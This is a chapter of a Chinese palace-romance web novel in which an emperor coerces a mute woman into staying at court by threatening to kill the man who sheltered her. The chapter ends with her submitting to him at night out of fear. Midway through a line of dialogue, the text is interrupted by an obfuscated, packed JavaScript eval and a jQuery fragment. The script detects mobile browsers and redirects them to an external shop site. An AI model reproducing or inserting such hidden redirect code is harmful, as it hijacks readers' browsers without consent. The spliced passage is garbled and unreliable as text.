霍则衍本以为衔霜还要考虑上许久,不曾想她只是咬了一下唇畔,几乎毫不犹豫地就答应了下来:【我答应陛下,我愿意留在宫中,但求陛下能够放了徐文州。】
看着她这样果断的回答,他却并没有自己预想中的满意与高兴,心下反而更生气了。
他也不知,自己究竟是怎么了。
倘若衔霜真的依旧不知好歹地拒绝了自己,他知道,自己定然会暴跳如雷。
可她如今这样干脆利落地答应了自己,他仍是忍不住怒火中烧。
拒绝自己,是因为不再喜欢自己,不愿意再继续留在自己的身边。
而忍痛答应自己,则是为了救那个男人,那个男人,就这样值得她奋不顾身么?
他攥紧了拳,问她道:“想好了?”
见她点头,他刚想要说些什么,里面的徐文州却抢先一步开了口。
“衔霜,不要!不要答应他!”徐文州双手放在狱槛上,有些激动地同她喊道,“我不需要你这样牺牲自己来救我,犯了错的本来就是我一个人,我自己一人受罚就是,又何必要搭上你!”
衔霜望向他,忍着泪摇了摇头。
若不是徐文州,她和岁欢,当年恐怕就要溺命于那湍流的江水里了。
是他救了她们,是他和徐文蓉予了她一片容身之处,陪着她一点点地振作了起来,帮着她照看教导岁欢,让她重获了新生。
她无以为报便也罢了,却万万不能因为自己,连累了他们。
于情于理,她都做不到眼睁睁看着徐文州去送死,看着他的余生葬送在诏狱里,看着徐文蓉承受丧兄之痛。
更何况此事本就是因她而起,无论如何,她都一定要救他,也一定会救他。
霍则衍看着这两人都是一幅想要舍弃自己,只为彼此考虑的模样,咬紧了牙关,拳头也攥得咯咯作响。
他今日带着她到诏狱里来,可不是为了看他们二人郎情妾意,夫妻团聚的!
看着眼前这副温情脉脉的情景,他仿若才是那个无关紧要的局外人,是那个拆散恩爱夫妻的刽子手。
“既是如此,还跪在这儿做什么?还不准备同朕回宫?”
他说着,将地上跪着的女子猛地拉了起来,一边拽着她靠近自己,又一边捏着她的下颌,迫使她看向自己。
那双漂亮的眼眸里,很快就又只剩下了畏惧。
看出她似乎还有话想说,霍则衍松开了手,问她:“怎么,又反悔了?”
【不是。】衔霜赶忙摇了摇头,指了一下里面还鼻青脸肿着的徐文州,又同他比划道,【他身上还受着伤,陛下能不能......先给他找个大夫看看?】
看着她的比划,霍则衍觉得,自己真的很想直接杀了徐文州。
他当初在诏狱受了刑罚后,可没有什么大夫会来给他医治。
而徐文州压根就没受刑,不过是自不量力同他厮打后,落下了几处小伤。
就这点小伤,哪里还需要大夫特意来医治么?
但想着衔霜很快就会同他回去,永远留在他的身侧,他便也忍下了这份直接杀了徐文州的冲动。
“去给他找个大夫吧。”他咬着牙,吩咐守在一旁的狱卒道。
他一刻也不想让衔霜在这地方多留,更不想看到她和那个男人继续共处下去,丢下这句话后,就拽着她往外走。
“衔霜,你记住了。”将她放进回宫的马车里时,霍则衍恶狠狠地开口道,“今后你若是再敢绝食或是寻死,朕第一个就杀了他。”
回宫和路和来时别无二致,马车内的氛围却截然不同。
看着安静地缩在马车角落,垂着头微微发抖的衔霜,霍则衍似是意识到自己适才的语气太重,便放缓了声音,同她道:“朕已经命人将你的女儿接进宫了,今后她便也留在宫中陪着你,可好?”
见衔霜听到岁欢时有了些反应,抬目望向了自己,他又道:“你放心,她虽非朕亲生,但朕也不会苛待了她。”
“只要你好好留在朕身边,朕会将她视若己出。”
他觉得自己已经竭尽全力做出了最大的妥协,说出的话却在不自觉间带了些威胁的意味。
“只要你好好的,她就不会有事,那个人也不会有事,好不好?”
衔霜听着他的话语,心中却不知是该欣慰还是惆怅。
昨日在客栈时,她刻意隐瞒了岁欢的身份,便是知道,如若霍则衍知晓岁欢是他的女儿,一定会带岁欢进宫,从她身边夺走岁欢。
只是那时她没想到,霍则衍竟会不择手段逼迫自己留在宫中,也没想到在阴差阳错之下,岁欢也还是进了宫。
她一面高兴有女儿在身侧,不至于母女二人分离,却又一面止不住地忧虑,岁欢那样天真活泼的性子,却和她一样进了压抑的深宫,被条条框框的规矩所束缚着,究竟是福还是祸?
马车再次在兰溪苑前停下。
衔霜刚一下车,一道熟悉的小身影就朝她飞奔了过来,扑进了她的怀里。
“娘亲!”
是岁欢,真的是岁欢。
虽只是一日多未见,衔霜却感觉日子像是已经过去了一个月,甚至半年。
看到岁欢的那一刻,她只觉得自己心中这一日来的阴霾,和适才对岁欢的担忧全都散去了,只余下了见到女儿的无尽欢喜。
她蹲下身,紧紧地抱住了眼前的小人,过了很久才松开。
再站起来时,她才发觉,霍则衍早已不知在什么时候离开了。
这一发现,让衔霜心中更轻松了些许,她牵着岁欢的小手走进了屋里。
想起这一日多的分离,又想起尚在诏狱里的徐文州,她比划着问岁欢:【娘亲昨日走后,有没有人欺负你?】
见岁欢使劲摇头,她稍微放心了些,又问道:【那你这一日,是怎么过的?】
“娘亲被那个坏人带走后一个时辰左右,爹爹就回来了,爹爹问我那个坏人长什么样子,今天上午就去找娘亲了,我就在屋子里等爹爹和娘亲一起回来。”岁欢一边慢慢回忆,一边对衔霜道。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13339901|139618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可后来我等了好久好久,都没见你们回来,再后来,来了几个穿得很漂亮的大姐姐,说是带我去找娘亲。”
【所以你就跟她们走了?】
“嗯嗯!”岁欢刚应声,想了想又赶紧给自己打补丁道,“我知道娘亲告诉过我,让我一个人不能跟着陌生人走,但那几个大姐姐看起来很和善,一点都不像坏人!所以我才跟她们走的......”
【坏人是不会把‘坏人’这两个字写在自己脸上的。】衔霜摸了摸岁欢的头,温和地对她道,【这回便罢了,下回不许再这样了。】
“我知道,但我这回真的见到娘亲了!”岁欢高高兴兴地在屋子里跳了跳,声音也很兴奋,“娘亲,这里好大,好漂亮啊!有好多好多个房间!”
【你喜欢这里吗?】衔霜看着欢欢喜喜的女儿,问道。
“喜欢!”岁欢点了点头,“娘亲,我们以后就住在这里了吗?”
不及衔霜回答,她便又问道:“那爹爹和蓉姨呢?他们什么时候过来?”
【......他们不会来的。】衔霜的面色黯然了些许,同她比划道。
“为什么?”岁欢眨巴着眼睛问道。
她还小,不明白衔霜为什么不回答自己这个问题,也不明白许多事情,但却看得懂衔霜眸中似有若无的哀伤。
“娘亲是不是不喜欢这里?”她蹭在衔霜怀里道,“那我也一点都不喜欢这里了!我只想和娘亲、爹爹,还有蓉姨在一起。”
【我们不会一直待在这里的。】衔霜摸了摸女儿还不算长的头发,告诉她道。
终有一日,她会带着岁欢一起,离开这里,离开京城。
三月春朝,天色依旧暗得较早。
晚膳后约莫一个多时辰,岁欢就嚷着困了,衔霜将她哄睡后,抱进了隔壁早已为她布置好的寝房里,自己也有些疲乏了。
躺在榻上,正是睡意朦胧之时,她却忽而听见有人轻轻地推开了门。
帷帐被掀开的那一瞬,衔霜登时睡意全无。
虽背着身朝着里侧,却也不难猜到,那个在自己身侧躺下的人是谁。
霍则衍怎么来了?
他夜里来兰溪苑是为了什么,从前经历了多次,衔霜现下心中也自然有数,身子立时便绷得僵硬极了。
要继续装睡么?就当不知道他来了?
可是徐文州还在他手上,他虽答应放了徐文州,却也绝对不会动作这样快。
怎么办?
要在那事上顺着他些吗?
衔霜闭着眼踌躇了半晌,才终于像是下了极大的决心一般,慢慢地转过了身,伸手抱住了身边的人。
霍则衍被她抱住时,怔了一瞬。
他猜到了衔霜还未睡去,却没想到她竟会主动来抱自己。
原本顾念着她这两日状态情绪不佳,今夜便想着暂先和衣而眠,此事再缓上一缓。
但......
他垂目看着身前主动抱住自己的女子,迟疑不过须臾,很快便反客为主地拥过了她。